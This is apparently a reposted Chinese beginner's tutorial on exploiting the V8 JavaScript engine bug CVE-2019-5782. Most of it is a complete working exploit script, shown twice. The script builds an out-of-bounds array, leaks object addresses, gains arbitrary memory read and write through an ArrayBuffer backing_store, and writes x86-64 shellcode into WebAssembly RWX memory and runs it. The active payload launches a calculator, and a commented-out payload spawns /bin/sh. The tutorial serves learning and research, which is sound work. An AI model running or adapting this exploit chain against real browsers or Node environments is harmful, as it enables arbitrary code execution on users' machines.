手把手教你入门V8漏洞利用
2020-03-30 16:07:07 Author: bbs.pediy.com(查看原文) 阅读量:180 收藏

对于V8漏洞我也是新手,所以想从新手入门的角度来讲解V8漏洞。从环境搭建,到具体的CVE-2019-5782漏洞利用。会讲解很多的细节,以及V8漏洞入门的参考资料。这里首先先说个大坑,不要用mac搭建V8漏洞调试环境,我使用mac搭建的环境一直没有复现一些poc(可能方式不对),建议大家使用Ubuntu16.04,本文使用的虚拟机就是Ubuntu16.04。

我们看到这个数组中既有整型,也有浮点型,所以这里统一用了IEE746存储,2用IEE746存储是4000000000000000。由于这里面没有字符串,也没有用类似于1)那种对象指针的方式。

float2int比较简单,读者也可自己写个demo运行下,就明白其中的道理了,目的是将1.39064994160909e-309转换为0xFFFF00000000。

ArrayBuffer读写数据是通过backing_store的。所以为了实现任意地址读写,我们通常是覆盖ArrayBuffer的backing_store为我们想要读写的地址。上面的代码中我们先获取了ArrayBuffer的长度0xbeef在a2中的偏移(a2[偏移] == 0xbeef),由于backing_store正好在长度0xbeef的上面,所以偏移-1获得到了backing_stored在a2中的偏移,此时可以通过a2来操作backing_store了。具体的函数细节请参考代码中的注释。

/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
    127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
    1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
    0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var data = read64(sharedInfo+0x8-0x1);
var instance = read64(data+0x10-0x1);
var memoryRWX = (read64(instance+0xe8-0x1));
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));

// sys_execve('/bin/sh')
// var shellcode = [
//     '2fbb485299583b6a',
//     '5368732f6e69622f',
//     '050f5e5457525f54'
// ];

// pop up a calculator
var shellcode = [
    '636c6163782fb848',
    '73752fb848500000',
    '8948506e69622f72',
    '89485750c03148e7',
    '3ac0c748d23148e6',
    '4944b84850000030',
    '48503d59414c5053',
    '485250c03148e289',
    '00003bc0c748e289',
    '050f00'
];

//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
    write64(memoryRWX+offsetMem, x);
    offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();

我们先泄露了funcAsm的地址,然后使用任意地址读获取了RXW区域的地址,之后使用任意地址写向其中写入shellcode,最后调用funcAsm来调用shellcode,弹出计数器。

四、完整exp,去除debug信息

/*---------------------------datatype convert-------------------------*/
class typeConvert{
	constructor(){
		this.buf = new ArrayBuffer(8);
		this.f64 = new Float64Array(this.buf);
		this.u32 = new Uint32Array(this.buf);
		this.bytes = new Uint8Array(this.buf);
    }
    //convert float to int
	f2i(val){		
		this.f64[0] = val;
		let tmp = Array.from(this.u32);
		return tmp[1] * 0x100000000 + tmp[0];
    }
    
    /*
    convert int to float
    if nead convert a 64bits int to float
    please use string like "deadbeefdeadbeef"
    (v8's SMI just use 56bits, lowest 8bits is zero as flag)
    */
    i2f(val){
        let vall = hex(val);
		let tmp = [];
        tmp[0] = vall.slice(10, );
        tmp[1] = vall.slice(2, 10);
        tmp[0] = parseInt(tmp[0], 16);
        // console.log(hex(val));
		tmp[1] = parseInt(tmp[1], 16);
		this.u32.set(tmp);
		return this.f64[0];
	}
}
//convert number to hex string
function hex(x)
{
    return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();

/*---------------------------get oob array-------------------------*/
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
    a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0x2a00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list

/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
//var objTest = {'a':'b'};

//search the objLeak.tag
for(let i=0; i<0xffff; i++){
    if(dt.f2i(a2[i]) == 0xdead00000000){
        offset1 = i-1; //a2[offset1] -> objLeak.leak
        break;
    }
}

function addressOf(target){
    objLeak.leak = target;
    let leak = dt.f2i(a2[offset1]);
    return leak;
}

//test
//console.log("address of objTest : " + hex(addressOf(objTest)));
//%DebugPrint(objTest);

/*---------------------------arbitrary read and write-------------------------*/
var buf = new ArrayBuffer(0xbeef);
var offset2;
var dtView = new DataView(buf);

//search the buf.size
for(let i=0; i<0xffff; i++){
    if(dt.f2i(a2[i]) == 0xbeef){
        offset2 = i+1; //a2[offset2] -> buf.backing_store
        break;
    }
}

function write64(addr, value){
    a2[offset2] = dt.i2f(addr);
    dtView.setFloat64(0, dt.i2f(value), true);
}

function read64(addr, str=false){
    a2[offset2] = dt.i2f(addr);
    let tmp = ['', ''];
    let tmp2 = ['', ''];
    let result = ''
    tmp[1] = hex(dtView.getUint32(0)).slice(10,);
    tmp[0] = hex(dtView.getUint32(4)).slice(10,);
    for(let i=3; i>=0; i--){
        tmp2[0] += tmp[0].slice(i*2, i*2+2);
        tmp2[1] += tmp[1].slice(i*2, i*2+2);
    }
    result = tmp2[0]+tmp2[1]
    if(str==true){return '0x'+result}
    else {return parseInt(result, 16)};
}

//test
//write64(addressOf(objTest)+0x18-1, 0xdeadbeef);
//console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));
//%DebugPrint(objTest);
//%SystemBreak();
/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
    127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
    1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
    0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var data = read64(sharedInfo+0x8-0x1);
var instance = read64(data+0x10-0x1);
var memoryRWX = (read64(instance+0xe8-0x1));
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));

// sys_execve('/bin/sh')
// var shellcode = [
//     '2fbb485299583b6a',
//     '5368732f6e69622f',
//     '050f5e5457525f54'
// ];

// pop up a calculator
var shellcode = [
    '636c6163782fb848',
    '73752fb848500000',
    '8948506e69622f72',
    '89485750c03148e7',
    '3ac0c748d23148e6',
    '4944b84850000030',
    '48503d59414c5053',
    '485250c03148e289',
    '00003bc0c748e289',
    '050f00'
];

//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
    write64(memoryRWX+offsetMem, x);
    offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();

漏洞效果:



文章来源: https://bbs.pediy.com/thread-258431.htm
如有侵权请联系:admin#unsafe.sh